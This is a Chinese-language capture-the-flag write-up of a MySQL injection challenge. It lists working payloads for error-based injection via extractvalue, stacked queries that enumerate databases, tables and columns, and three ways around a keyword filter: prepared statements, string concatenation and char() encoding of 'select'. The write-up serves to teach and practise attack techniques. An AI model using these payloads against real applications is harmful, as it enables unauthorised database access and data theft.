题目
加个'报错
1' and 1=1 #没报错判断为单引号字符注入
爆显位
1' order by 2#回显正常
1' order by 3#报错
说明列数是2
尝试联合查询
-1' union select 1,2#
被过滤了
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
-
select|update|delete|drop|insert|where
:这部分表示匹配其中的任何一个单词。|
是一个逻辑“或”操作符,意味着它会匹配它前面的或后面的任何一个模式。\.
:.
在正则表达式中是一个特殊字符,代表匹配任何字符(除了换行符)。为了匹配实际的点字符.
,我们需要使用\.
。i
:这是一个修饰符,表示匹配是不区分大小写的。- 代码会检查
$inject
字符串中是否包含“select”、“update”、“delete”、“drop”、“insert”、“where”或点.
(不考虑大小写)。- 如果匹配到任何这些模式,
preg_match
会返回1,表示匹配成功。如果没有匹配到,它会返回0。 return
关键字表示这个函数会直接返回preg_match
的结果。
- 如果匹配到任何这些模式,
SQL注入分类
根据参数类型:字符型,数字型、搜索型
根据提交方式:POST注入,GET注入,HTTP HEAD注入
根据有无回显:联合注入,报错注入,布尔盲注,延时注入
其他注入:堆叠注入,宽字节注入,二次注入等
尝试报错注入
爆数库版本
1' and (extractvalue(1,concat(0x5c,version(),0x5c)))
爆数据库名
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))--+
得到数据库名supersqli
但是后续爆表列等被过滤了
基本都被过滤了尝试堆叠注入
1';show databases;#
结合题目以及之前爆出的数据库名猜测flag在supersqli
爆当前数据库biao
0';show tables;#
爆191字段
1';show columns from `1919810931114514`;#
查flag字段
1’;select 1,2,group_concat(flag) from 1919810931114514;#
又被过滤了
使用MySQL预处理语句
1';PREPARE test from concat('s','elect','* from `1919810931114514`');EXECUTE test;#
PREPARE test from concat('s','elect','* from 1919810931114514')
表示利用 CONCAT 函数拼接 SQL 语句字符串 'select * from 1919810931114514'
,并将结果赋值给 test 参数。
EXECUTE test;# 则执行了刚才定义的 SELECT 语句,查询1919810931114514
表中的所有数据,并将查询结果输出
采用预编译绕过,
1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#
';sEt @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’); 进行预编译
prEpare stmt from @sql; 设置变量
EXECUTE stmt;# 执行
char函数将ASCII值转字符实现select绕过
char函数:
SELECT CHAR(72, 101, 108, 108, 111);
以上 SQL 查询语句将返回字符串Hello
因为 H 对应 ASCII 码值为 72,e 对应 ASCII 码值为 101,l 对应 ASCII 码值为 108,o 对应 ASCII 码值为 111。
1';PREPARE w from concat(char(115,101,108,101,99,116),' * from `1919810931114514`');EXECUTE w;#
115,101,108,101,99,116对应select